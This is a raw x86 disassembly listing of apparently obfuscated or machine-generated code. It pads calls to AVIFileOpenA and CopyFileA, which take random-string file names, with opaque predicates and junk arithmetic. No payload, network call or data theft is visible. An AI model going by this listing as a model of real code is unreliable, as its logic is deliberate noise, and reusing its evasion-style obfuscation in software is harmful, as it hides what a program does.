add eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x68]
je 0x40c529
mov dword [ebp - 0x29f8], 1
jmp 0x40c533
mov dword [ebp - 0x29f8], 0
cmp dword [ebp - 0x68], 8
jne 0x40c545
mov dword [ebp - 0x29e0], 1
jmp 0x40c54f
mov dword [ebp - 0x29e0], 0
imul ecx, dword [ebp - 0x68], 0x76
cmp dword [ebp - 0x29e0], ecx
jne 0x40c567
mov dword [ebp - 0x29e4], 1
jmp 0x40c571
mov dword [ebp - 0x29e4], 0
mov edx, dword [ebp - 0x29e4]
cmp edx, dword [ebp - 0x68]
jne 0x40c588
mov dword [ebp - 0x29fc], 1
jmp 0x40c592
mov dword [ebp - 0x29fc], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x68]
je 0x40c5a6
mov dword [ebp - 0x29e8], 1
jmp 0x40c5b0
mov dword [ebp - 0x29e8], 0
imul ecx, dword [ebp - 0x68], 0x14
cmp dword [ebp - 0x29e8], ecx
je 0x40c5c8
mov dword [ebp - 0x29ec], 1
jmp 0x40c5d2
mov dword [ebp - 0x29ec], 0
mov edx, dword [ebp - 0x29ec]
cmp edx, dword [ebp - 0x68]
je 0x40c5e9
mov dword [ebp - 0x29f0], 1
jmp 0x40c5f3
mov dword [ebp - 0x29f0], 0
mov eax, dword [ebp - 0x68]
sub eax, 0x81
add eax, dword [ebp - 0x68]
cmp dword [ebp - 0x29f0], eax
jne 0x40c612
mov dword [ebp - 0x2a00], 1
jmp 0x40c61c
mov dword [ebp - 0x2a00], 0
mov ecx, dword [ebp - 0x29f4]
and ecx, dword [ebp - 0x29f8]
and ecx, 0x84
and ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x29fc]
xor edx, dword [ebp - 0x2a00]
or ecx, edx
mov dword [ebp - 0x11fc], ecx
mov eax, dword [ebp - 0x11fc]
add eax, dword [ebp - 0x11fc]
and eax, 1
add eax, 1
shl eax, 1
mov dword [ebp - 0x11fc], eax
push 0
mov ecx, dword [ebp - 0x11fc]
push ecx
mov edx, dword [ebp - 0x7574]
push edx
lea eax, [ebp - 0x949c]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1b0c], eax
cmp dword [ebp - 0x1b0c], 0
je 0x40c68c
jmp 0x40c69b
mov ecx, dword [ebp - 0x1b0c]
add ecx, 1
mov dword [ebp - 0x1b0c], ecx
mov dword [ebp - 0x7578], str.pHZhKI6mLXNVx1G
mov edx, dword [ebp - 0x2c8]
imul edx, dword [ebp - 0x2c8]
cmp dword [ebp - 0x2c8], edx
jne 0x40c6c6
mov dword [ebp - 0x2a0c], 1
jmp 0x40c6d0
mov dword [ebp - 0x2a0c], 0
mov eax, dword [ebp - 0x2c8]
shl eax, 5
cmp eax, dword [ebp - 0x2c8]
jne 0x40c6ed
mov dword [ebp - 0x2a04], 1
jmp 0x40c6f7
mov dword [ebp - 0x2a04], 0
mov ecx, dword [ebp - 0x2c8]
sub ecx, 0x1b
cmp dword [ebp - 0x2a04], ecx
je 0x40c714
mov dword [ebp - 0x2a08], 1
jmp 0x40c71e
mov dword [ebp - 0x2a08], 0
mov edx, dword [ebp - 0x2a08]
cmp edx, dword [ebp - 0x2c8]
jne 0x40c738
mov dword [ebp - 0x2a10], 1
jmp 0x40c742
mov dword [ebp - 0x2a10], 0
imul eax, dword [ebp - 0x2c8], 0xb6
cmp eax, 0xf6
je 0x40c75f
mov dword [ebp - 0x2a14], 1
jmp 0x40c769
mov dword [ebp - 0x2a14], 0
cmp dword [ebp - 0x2c8], 0x30
je 0x40c77e
mov dword [ebp - 0x2a18], 1
jmp 0x40c788
mov dword [ebp - 0x2a18], 0
mov ecx, 0x84
sub ecx, dword [ebp - 0x2c8]
and ecx, dword [ebp - 0x2a0c]
mov edx, dword [ebp - 0x2c8]
add edx, 0xed
mov eax, dword [ebp - 0x2c8]
and eax, 0xee
xor edx, eax
or ecx, edx
mov edx, dword [ebp - 0x2a10]
xor edx, dword [ebp - 0x2a14]
or ecx, edx
mov eax, dword [ebp - 0x2c8]
and eax, dword [ebp - 0x2a18]
or ecx, eax
mov dword [ebp - 0x1200], ecx
mov ecx, dword [ebp - 0x1200]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x1200]
and edx, 1
cmp ecx, edx
je 0x40c7fa
mov dword [ebp - 0x2a1c], 1
jmp 0x40c804
mov dword [ebp - 0x2a1c], 0
mov eax, dword [ebp - 0x2a1c]
add eax, 2
mov dword [ebp - 0x1200], eax
push 0
mov ecx, dword [ebp - 0x1200]
push ecx
mov edx, dword [ebp - 0x7578]
push edx
lea eax, [ebp - 0x94a0]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0
je 0x40c951
mov ecx, dword [ebp - 0x16c]
add ecx, 1
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x7594], str.hrEdsNfhADjRIly7
imul edx, dword [ebp - 0x16c], 0xb7
add edx, 0xc2
cmp dword [ebp - 0x16c], edx
jne 0x40cb49
mov dword [ebp - 0x2a48], 1
jmp 0x40cb53
mov dword [ebp - 0x2a48], 0
mov eax, dword [ebp - 0x16c]
sub eax, dword [ebp - 0x16c]
imul ecx, dword [ebp - 0x16c], 0x14
add eax, ecx
cmp dword [ebp - 0x2a48], eax
je 0x40cb7c
mov dword [ebp - 0x2a4c], 1
jmp 0x40cb86
mov dword [ebp - 0x2a4c], 0
mov edx, dword [ebp - 0x16c]
and edx, dword [ebp - 0x16c]
xor edx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x2a4c]
and eax, 0x2c
mov ecx, dword [ebp - 0x16c]
add ecx, 0xb8
xor eax, ecx
imul ecx, dword [ebp - 0x16c], 0x4e
xor eax, ecx
or edx, eax
or edx, dword [ebp - 0x16c]
mov dword [ebp - 0x1204], edx
mov edx, dword [ebp - 0x1204]
neg edx
and edx, 1
mov eax, dword [ebp - 0x1204]
and eax, 1
cmp edx, eax
je 0x40cbea
mov dword [ebp - 0x2a50], 1
jmp 0x40cbf4
mov dword [ebp - 0x2a50], 0
mov ecx, dword [ebp - 0x2a50]
or ecx, 1
mov dword [ebp - 0x1204], ecx
push 0
mov edx, dword [ebp - 0x1204]
push edx
mov eax, dword [ebp - 0x7594]
push eax
lea ecx, [ebp - 0x94a4]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x40d03e
mov dword [ebp - 0x7598], str.F1yjxchb
mov edx, dword [ebp - 0xb8]
cmp edx, dword [ebp - 0xb8]
je 0x40cc56
mov dword [ebp - 0x2a58], 1
jmp 0x40cc60
mov dword [ebp - 0x2a58], 0
cmp dword [ebp - 0xb8], 0xbe
je 0x40cc78
mov dword [ebp - 0x2a54], 1
jmp 0x40cc82
mov dword [ebp - 0x2a54], 0
mov eax, dword [ebp - 0x2a54]
cmp eax, dword [ebp - 0xb8]
jne 0x40cc9c
mov dword [ebp - 0x2a5c], 1
jmp 0x40cca6
mov dword [ebp - 0x2a5c], 0
mov ecx, 0xfe
sub ecx, dword [ebp - 0xb8]
and ecx, dword [ebp - 0x2a58]
xor ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xb8]
add edx, 0x3b
and edx, dword [ebp - 0xb8]
xor ecx, edx
xor ecx, dword [ebp - 0xb8]
imul eax, dword [ebp - 0xb8], 0xe2
add eax, dword [ebp - 0xb8]
xor ecx, eax
or ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0x2a5c]
xor edx, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
add eax, 0x15
and eax, dword [ebp - 0xb8]
xor edx, eax
or ecx, edx
mov dword [ebp - 0x1208], ecx
mov ecx, dword [ebp - 0x1208]
neg ecx
and ecx, 1
mov edx, dword [ebp - 0x1208]
and edx, 1
cmp ecx, edx
je 0x40cd35
mov dword [ebp - 0x2a60], 1
jmp 0x40cd3f
mov dword [ebp - 0x2a60], 0
mov eax, dword [ebp - 0x2a60]
or eax, 4
mov dword [ebp - 0x1208], eax
push 0
mov ecx, dword [ebp - 0x1208]
push ecx
mov edx, dword [ebp - 0x7598]
push edx
lea eax, [ebp - 0x94a8]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
je 0x40cf11
mov dword [ebp - 0x759c], str.qE2D8wILBurVzZUE9arwG
mov dword [ebp - 0x75a0], str.og31f4DCaIV
cmp dword [ebp - 0x1fc], 0x47
jne 0x40cda6
mov dword [ebp - 0x2a68], 1
jmp 0x40cdb0
mov dword [ebp - 0x2a68], 0
mov ecx, dword [ebp - 0x1fc]
cmp ecx, dword [ebp - 0x1fc]
jne 0x40cdca
mov dword [ebp - 0x2a6c], 1
jmp 0x40cdd4
mov dword [ebp - 0x2a6c], 0
mov edx, dword [ebp - 0x1fc]
cmp edx, dword [ebp - 0x1fc]
je 0x40cdee
mov dword [ebp - 0x2a70], 1
jmp 0x40cdf8
mov dword [ebp - 0x2a70], 0
mov eax, 0x4a
sub eax, dword [ebp - 0x1fc]
cmp eax, 0xd5
je 0x40ce16
mov dword [ebp - 0x2a74], 1
jmp 0x40ce20
mov dword [ebp - 0x2a74], 0
mov ecx, dword [ebp - 0x1fc]
add ecx, 0xae
cmp dword [ebp - 0x1fc], ecx
je 0x40ce40
mov dword [ebp - 0x2a64], 1
jmp 0x40ce4a
mov dword [ebp - 0x2a64], 0
cmp dword [ebp - 0x2a64], 0xd8
jne 0x40ce62
mov dword [ebp - 0x2a78], 1
jmp 0x40ce6c
mov dword [ebp - 0x2a78], 0
mov edx, dword [ebp - 0x1fc]
add edx, 0xb7
or edx, dword [ebp - 0x2a68]
or edx, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x2a6c]
xor eax, dword [ebp - 0x2a70]
or edx, eax
or edx, 0xa4
or edx, dword [ebp - 0x1fc]
mov ecx, dword [ebp - 0x2a74]
and ecx, dword [ebp - 0x2a78]
xor ecx, dword [ebp - 0x1fc]
or edx, ecx
mov dword [ebp - 0xbe4], edx
mov edx, dword [ebp - 0xbe4]
add edx, dword [ebp - 0xbe4]
and edx, 1
or edx, 1
mov dword [ebp - 0xbe4], edx
mov eax, dword [ebp - 0xbe4]
add eax, 1
mov dword [ebp - 0xbe4], eax
mov ecx, dword [ebp - 0xbe4]
add ecx, 1
mov dword [ebp - 0xbe4], ecx
mov edx, dword [ebp - 0xbe4]
push edx
mov eax, dword [ebp - 0x759c]
push eax
mov ecx, dword [ebp - 0x75a0]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x75a4], eax
jmp 0x40cf20
mov edx, dword [ebp - 0x1fc]
add edx, 1
mov dword [ebp - 0x1fc], edx
mov dword [ebp - 0x75a8], str.35Kc7WsSgEX2WI2Wmf
mov eax, dword [ebp - 0x1fc]
cmp eax, dword [ebp - 0x1fc]
jne 0x40cf44
mov dword [ebp - 0x2a80], 1
jmp 0x40cf4e
mov dword [ebp - 0x2a80], 0
mov ecx, dword [ebp - 0x1fc]
sub ecx, 0xd3
cmp ecx, dword [ebp - 0x1fc]
je 0x40cf6e
mov dword [ebp - 0x2a7c], 1
jmp 0x40cf78
mov dword [ebp - 0x2a7c], 0
mov edx, dword [ebp - 0x1fc]
sub edx, dword [ebp - 0x1fc]
cmp dword [ebp - 0x2a7c], edx
jne 0x40cf98
mov dword [ebp - 0x2a84], 1
jmp 0x40cfa2
mov dword [ebp - 0x2a84], 0
imul eax, dword [ebp - 0x1fc], 0xb9
xor eax, dword [ebp - 0x2a80]
mov ecx, dword [ebp - 0x2a84]
and ecx, 0xf3
or eax, ecx
mov edx, dword [ebp - 0x1fc]
and edx, dword [ebp - 0x1fc]
mov ecx, dword [ebp - 0x1fc]
add ecx, 0x8f
and edx, ecx
xor edx, dword [ebp - 0x1fc]
or eax, edx
mov dword [ebp - 0x120c], eax
mov edx, dword [ebp - 0x120c]
add edx, dword [ebp - 0x120c]
and edx, 1
add edx, 1
mov dword [ebp - 0x120c], edx
push 0
mov eax, dword [ebp - 0x120c]
push eax
mov ecx, dword [ebp - 0x75a8]
push ecx
lea edx, [ebp - 0x94ac]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1b10], eax
cmp dword [ebp - 0x1b10], 0
je 0x40d02d
jmp 0x40d03c
mov eax, dword [ebp - 0x1b10]
add eax, 1
mov dword [ebp - 0x1b10], eax
jmp 0x40d04d
mov ecx, dword [ebp - 0xb8]
add ecx, 1
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0x75ac], str.u09rwbOMwsAKS80pu
mov dword [ebp - 0x75b0], str.ht91gBwPyHboXvP
imul edx, dword [ebp - 0xb8], 0xf9
cmp edx, dword [ebp - 0xb8]
jne 0x40d07f
mov dword [ebp - 0x2a88], 1
jmp 0x40d089
mov dword [ebp - 0x2a88], 0
mov eax, dword [ebp - 0xb8]
imul eax, dword [ebp - 0xb8]
and eax, dword [ebp - 0x2a88]
and eax, dword [ebp - 0xb8]
or eax, dword [ebp - 0xb8]
or eax, dword [ebp - 0xb8]
or eax, dword [ebp - 0xb8]
mov ecx, 0x20
sub ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xb8]
add edx, 0x2d
sub edx, dword [ebp - 0xb8]
xor ecx, edx
or eax, ecx
mov dword [ebp - 0xae0], eax
mov eax, dword [ebp - 0xae0]
add eax, dword [ebp - 0xae0]
and eax, 1
or eax, 1
mov dword [ebp - 0xae0], eax
mov ecx, dword [ebp - 0xae0]
add ecx, 1
mov dword [ebp - 0xae0], ecx
mov edx, dword [ebp - 0xae0]
add edx, 1
mov dword [ebp - 0xae0], edx
mov eax, dword [ebp - 0xae0]
push eax
mov ecx, dword [ebp - 0x75ac]
push ecx
mov edx, dword [ebp - 0x75b0]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0
je 0x40d276
mov dword [ebp - 0x75b4], str.qCHpWSOzM8OTZITAR3a4iqao1k9Qc
mov eax, dword [ebp - 0x3a0]
sub eax, 0x8d
cmp eax, dword [ebp - 0x3a0]
jne 0x40d165
mov dword [ebp - 0x2a8c], 1
jmp 0x40d16f
mov dword [ebp - 0x2a8c], 0
mov ecx, dword [ebp - 0x3a0]
imul ecx, dword [ebp - 0x3a0]
imul edx, ecx, 0xa2
cmp dword [ebp - 0x3a0], edx
je 0x40d196
mov dword [ebp - 0x2a90], 1
jmp 0x40d1a0
mov dword [ebp - 0x2a90], 0
mov eax, dword [ebp - 0x3a0]
sub eax, 0xa0
add eax, dword [ebp - 0x3a0]
sub eax, 0x86
sub eax, dword [ebp - 0x3a0]
mov ecx, dword [ebp - 0x3a0]
cmp eax, ecx
je 0x40d1d2
mov dword [ebp - 0x2a94], 1
jmp 0x40d1dc
mov dword [ebp - 0x2a94], 0
cmp dword [ebp - 0x3a0], 0x65
je 0x40d1f1
mov dword [ebp - 0x2a98], 1
jmp 0x40d1fb
mov dword [ebp - 0x2a98], 0
mov edx, dword [ebp - 0x2a8c]
xor edx, dword [ebp - 0x2a90]
mov eax, dword [ebp - 0x2a94]
and eax, dword [ebp - 0x2a98]
xor edx, eax
mov dword [ebp - 0x1210], edx
mov ecx, dword [ebp - 0x1210]
neg ecx
xor ecx, dword [ebp - 0x1210]
and ecx, 1
add ecx, 2
mov dword [ebp - 0x1210], ecx
push 0
mov edx, dword [ebp - 0x1210]
push edx
mov eax, dword [ebp - 0x75b4]
push eax
lea ecx, [ebp - 0x94b0]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1b14], eax
cmp dword [ebp - 0x1b14], 0
je 0x40d262
jmp 0x40d271
mov edx, dword [ebp - 0x1b14]
add edx, 1
mov dword [ebp - 0x1b14], edx
jmp 0x40d38c
mov dword [ebp - 0x75b8], str.Gdm4MZf
mov eax, dword [ebp - 0xae0]
add eax, 0xb7
mov ecx, dword [ebp - 0xae0]
sub ecx, dword [ebp - 0xae0]
sub ecx, 4
cmp eax, ecx
jne 0x40d2aa
mov dword [ebp - 0x2a9c], 1
jmp 0x40d2b4
mov dword [ebp - 0x2a9c], 0
mov edx, dword [ebp - 0x2a9c]
cmp edx, dword [ebp - 0xae0]
jne 0x40d2ce
mov dword [ebp - 0x2aa0], 1
jmp 0x40d2d8
mov dword [ebp - 0x2aa0], 0
cmp dword [ebp - 0xae0], 0x82
jne 0x40d2f0
mov dword [ebp - 0x2aa4], 1
jmp 0x40d2fa
mov dword [ebp - 0x2aa4], 0
mov eax, dword [ebp - 0xae0]
add eax, 0x5c
imul ecx, dword [ebp - 0xae0], 0x5c
and ecx, dword [ebp - 0x2aa0]
xor eax, ecx
xor eax, dword [ebp - 0x2aa4]
mov dword [ebp - 0x1214], eax
mov edx, dword [ebp - 0x1214]
not edx
cmp edx, dword [ebp - 0x1214]
jne 0x40d33a
mov dword [ebp - 0x2aa8], 1
jmp 0x40d344
mov dword [ebp - 0x2aa8], 0
mov eax, dword [ebp - 0x2aa8]
mov dword [ebp - 0x1214], eax
push 0
mov ecx, dword [ebp - 0x1214]
push ecx
mov edx, dword [ebp - 0x75b8]
push edx
lea eax, [ebp - 0x94b4]
push eax
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1b18], eax
cmp dword [ebp - 0x1b18], 0
je 0x40d37d
jmp 0x40d38c
mov ecx, dword [ebp - 0x1b18]
add ecx, 1
mov dword [ebp - 0x1b18], ecx
mov dword [ebp - 0x75bc], str.3Y4xPTGhFL1WzWqb9mOnt89ts
cmp dword [ebp - 0x3a0], 0xae
jne 0x40d3ae
mov dword [ebp - 0x2aac], 1
jmp 0x40d3b8
mov dword [ebp - 0x2aac], 0
mov edx, dword [ebp - 0x3a0]
add edx, 0x61
cmp edx, dword [ebp - 0x3a0]
jne 0x40d3d5
mov dword [ebp - 0x2ab4], 1
jmp 0x40d3df
mov dword [ebp - 0x2ab4], 0
mov eax, dword [ebp - 0x3a0]
cmp eax, dword [ebp - 0x3a0]
jne 0x40d3f9
mov dword [ebp - 0x2ab0], 1
jmp 0x40d403
mov dword [ebp - 0x2ab0], 0
mov ecx, dword [ebp - 0x3a0]
or ecx, dword [ebp - 0x2aac]
or ecx, 0xce
mov edx, dword [ebp - 0x3a0]
add edx, 0x5e
sub edx, dword [ebp - 0x3a0]
or ecx, edx
or ecx, 0x82
mov eax, 0x55
sub eax, dword [ebp - 0x3a0]
add eax, 0x19
xor eax, dword [ebp - 0x3a0]
or ecx, eax
mov edx, dword [ebp - 0x2ab0]
and edx, 0xb8
mov eax, dword [ebp - 0x3a0]
shl eax, 5
and edx, eax
xor edx, dword [ebp - 0x2ab4]
or ecx, edx
mov dword [ebp - 0x1218], ecx
mov ecx, dword [ebp - 0x1218]
not ecx
cmp ecx, dword [ebp - 0x1218]
jne 0x40d483
mov dword [ebp - 0x2ab8], 1
jmp 0x40d48d
mov dword [ebp - 0x2ab8], 0
mov edx, dword [ebp - 0x2ab8]
or edx, 5
mov dword [ebp - 0x1218], edx
push 0
mov eax, dword [ebp - 0x1218]
push eax
mov ecx, dword [ebp - 0x75bc]
push ecx
lea edx, [ebp - 0x94b8]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x1b1c], eax
cmp dword [ebp - 0x1b1c], 0
je 0x40d4c9
jmp 0x40d4d8
mov eax, dword [ebp - 0x1b1c]
add eax, 1
mov dword [ebp - 0x1b1c], eax
mov dword [ebp - 0x75c0], str.CkZEZDffr92tR58K
mov dword [ebp - 0x75c4], str.l5PT0UWhQLeBvmu
cmp dword [ebp - 0x868], 0x4c
jne 0x40d501
mov dword [ebp - 0x2abc], 1
jmp 0x40d50b
mov dword [ebp - 0x2abc], 0
mov ecx, dword [ebp - 0x868]
sub ecx, 0xcb
add ecx, dword [ebp - 0x868]
mov edx, dword [ebp - 0x868]
add edx, 0x52
cmp ecx, edx
je 0x40d536
mov dword [ebp - 0x2ac0], 1
jmp 0x40d540
mov dword [ebp - 0x2ac0], 0
mov eax, dword [ebp - 0x868]
xor eax, dword [ebp - 0x2abc]
imul ecx, dword [ebp - 0x868], 0x48
and ecx, dword [ebp - 0x2ac0]
and ecx, dword [ebp - 0x868]
xor eax, ecx
or eax, dword [ebp - 0x868]
mov edx, dword [ebp - 0x868]
add edx, 0x6d
or eax, edx
mov dword [ebp - 0x730], eax
mov eax, dword [ebp - 0x730]
not eax
cmp eax, dword [ebp - 0x730]
jne 0x40d594
mov dword [ebp - 0x2ac4], 1
jmp 0x40d59e
mov dword [ebp - 0x2ac4], 0
mov ecx, dword [ebp - 0x2ac4]
add ecx, 1
mov dword [ebp - 0x730], ecx
mov edx, dword [ebp - 0x730]
add edx, 1
mov dword [ebp - 0x730], edx
mov eax, dword [ebp - 0x730]
add eax, 1
mov dword [ebp - 0x730], eax
mov ecx, dword [ebp - 0x730]
push ecx
mov edx, dword [ebp - 0x75c0]
push edx
mov eax, dword [ebp - 0x75c4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x9b8], eax
cmp dword [ebp - 0x9b8], 0
je 0x40dff1
mov dword [ebp - 0x75c8], str.i98tGkD6Tpk5
mov ecx, dword [ebp - 0x9b8]
sub ecx, dword [ebp - 0x9b8]
cmp ecx, 0x4c
jne 0x40d620
mov dword [ebp - 0x2ac8], 1
jmp 0x40d62a
mov dword [ebp - 0x2ac8], 0
mov edx, dword [ebp - 0x2ac8]
cmp edx, dword [ebp - 0x9b8]
jne 0x40d644
mov dword [ebp - 0x2ad4], 1
jmp 0x40d64e
mov dword [ebp - 0x2ad4], 0
mov eax, dword [ebp - 0x9b8]
cmp eax, dword [ebp - 0x9b8]
je 0x40d668
mov dword [ebp - 0x2acc], 1
jmp 0x40d672
mov dword [ebp - 0x2acc], 0
cmp dword [ebp - 0x2acc], 0x67
je 0x40d687
mov dword [ebp - 0x2ad8], 1
jmp 0x40d691
mov dword [ebp - 0x2ad8], 0
cmp dword [ebp - 0x9b8], 0xc
jne 0x40d6a6
mov dword [ebp - 0x2ad0], 1
jmp 0x40d6b0
mov dword [ebp - 0x2ad0], 0
mov ecx, dword [ebp - 0x9b8]
sub ecx, dword [ebp - 0x9b8]
cmp dword [ebp - 0x2ad0], ecx
jne 0x40d6d0
mov dword [ebp - 0x2adc], 1
jmp 0x40d6da
mov dword [ebp - 0x2adc], 0
mov edx, 0xca
sub edx, dword [ebp - 0x9b8]
xor edx, dword [ebp - 0x2ad4]
mov eax, dword [ebp - 0x2ad8]
and eax, dword [ebp - 0x2adc]
or edx, eax
mov dword [ebp - 0x121c], edx
mov ecx, dword [ebp - 0x121c]
not ecx
cmp ecx, dword [ebp - 0x121c]
jne 0x40d71b
mov dword [ebp - 0x2ae0], 1
jmp 0x40d725
mov dword [ebp - 0x2ae0], 0
mov edx, dword [ebp - 0x2ae0]
mov dword [ebp - 0x121c], edx
push 0
mov eax, dword [ebp - 0x121c]
push eax
mov ecx, dword [ebp - 0x75c8]
push ecx
lea edx, [ebp - 0x94bc]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
je 0x40da7c
mov dword [ebp - 0x75cc], str.aZ5RxWOar
mov eax, dword [ebp - 0x170]
add eax, dword [ebp - 0x170]
sub eax, 0x46
cmp eax, dword [ebp - 0x170]
je 0x40d78d
mov edx, dword [ebp - 0x170]
add edx, 1
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x75d8], str.XRXZegP7pcTsn2dvZYay6zG
mov dword [ebp - 0x75dc], str.7MdTqd70zt2QGmc9eXu7BPqvVrR
mov eax, 0xb4
sub eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x170]
imul ecx, dword [ebp - 0x170]
add eax, ecx
mov edx, 0x1a
sub edx, dword [ebp - 0x170]
cmp eax, edx
je 0x40dad4
mov dword [ebp - 0x75fc], str.NJ3vp
mov ecx, dword [ebp - 0x730]
add ecx, 0x2a
cmp dword [ebp - 0x730], ecx
je 0x40e018
mov dword [ebp - 0x2b4c], 1
jmp 0x40e022
mov dword [ebp - 0x2b4c], 0
cmp dword [ebp - 0x730], 0x15
je 0x40e037
mov dword [ebp - 0x2b50], 1
jmp 0x40e041
mov dword [ebp - 0x2b50], 0
mov edx, dword [ebp - 0x730]
imul edx, dword [ebp - 0x730]
cmp edx, 0xba
je 0x40e062
mov dword [ebp - 0x2b54], 1
jmp 0x40e06c
mov dword [ebp - 0x2b54], 0
imul eax, dword [ebp - 0x730], 6
add eax, dword [ebp - 0x730]
cmp eax, dword [ebp - 0x730]
jne 0x40e08d
mov dword [ebp - 0x2b58], 1
jmp 0x40e097
mov dword [ebp - 0x2b58], 0
mov ecx, dword [ebp - 0x730]
sub ecx, 0x11
xor ecx, dword [ebp - 0x2b4c]
or ecx, dword [ebp - 0x2b50]
or ecx, dword [ebp - 0x730]
mov edx, dword [ebp - 0x2b54]
and edx, dword [ebp - 0x2b58]
imul eax, dword [ebp - 0x730], 0x97
and edx, eax
mov eax, dword [ebp - 0x730]
and eax, 0x22
xor edx, eax
or ecx, edx
mov dword [ebp - 0x1230], ecx
mov ecx, dword [ebp - 0x1230]
not ecx
cmp ecx, dword [ebp - 0x1230]
jne 0x40e0f9
mov dword [ebp - 0x2b5c], 1
jmp 0x40e103
mov dword [ebp - 0x2b5c], 0
mov edx, dword [ebp - 0x2b5c]
or edx, 4
mov dword [ebp - 0x1230], edx
push 0
mov eax, dword [ebp - 0x1230]
push eax
mov ecx, dword [ebp - 0x75fc]
push ecx
lea edx, [ebp - 0x94d0]
push edx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
je 0x40e694
mov dword [ebp - 0x7600], str.my4Z4GcbXLSoV9ycfvylZn8IGoyBLhIV
mov dword [ebp - 0x7604], str.oDkqBj6fop21cP7pFY0Rpad9dDjy68oN
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x200]
cmp eax, dword [ebp - 0x200]
jne 0x40e175
mov dword [ebp - 0x2b64], 1
jmp 0x40e17f
mov dword [ebp - 0x2b64], 0
mov ecx, dword [ebp - 0x200]
sub ecx, 0xbb
cmp ecx, 1
jne 0x40e19c
mov dword [ebp - 0x2b60], 1
jmp 0x40e1a6
mov dword [ebp - 0x2b60], 0
mov edx, dword [ebp - 0x2b60]
cmp edx, dword [ebp - 0x200]
jne 0x40e1c0
mov ecx, dword [ebp - 0x200]
add ecx, 1
mov dword [ebp - 0x200], ecx
mov dword [ebp - 0x7624], str.HbxXXyIHGwBRUCUgKW0HyJ
mov edx, dword [ebp - 0x200]
sub edx, dword [ebp - 0x200]
mov eax, dword [ebp - 0x200]
add eax, dword [ebp - 0x200]
add eax, 0xca
sub eax, dword [ebp - 0x200]
cmp edx, eax
je 0x40e6e0
mov dword [ebp - 0x2ba4], 1
jmp 0x40e6ea
mov dword [ebp - 0x2ba4], 0
mov ecx, dword [ebp - 0x200]
sub ecx, 0x8e
or ecx, dword [ebp - 0x2ba4]
imul edx, dword [ebp - 0x200], 0xd9
or ecx, edx
mov dword [ebp - 0x1238], ecx
mov eax, dword [ebp - 0x1238]
neg eax
xor eax, dword [ebp - 0x1238]
and eax, 1
add eax, 1
imul ecx, eax, 0
mov dword [ebp - 0x1238], ecx
push 0
mov edx, dword [ebp - 0x1238]
push edx
mov eax, dword [ebp - 0x7624]
push eax
lea ecx, [ebp - 0x94d8]
push ecx
call sub.AVIFIL32.dll_AVIFileOpenA
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0
je 0x40e8be
mov dword [ebp - 0x7628], str.QGakEhohBKec7MsYS6O6VOhkCoB
mov dword [ebp - 0x762c], str.7cLpjZZfFJw8ov0yIp
mov edx, dword [ebp - 0x3a8]
cmp edx, dword [ebp - 0x3a8]
jne 0x40e788
mov edx, dword [ebp - 0x3a8]
add edx, 1
mov dword [ebp - 0x3a8], edx
mov dword [ebp - 0x7634], str.l7pyUroLLzQYmRxJeQ
cmp dword [ebp - 0x3a8], 0x46
jne 0x40e8ec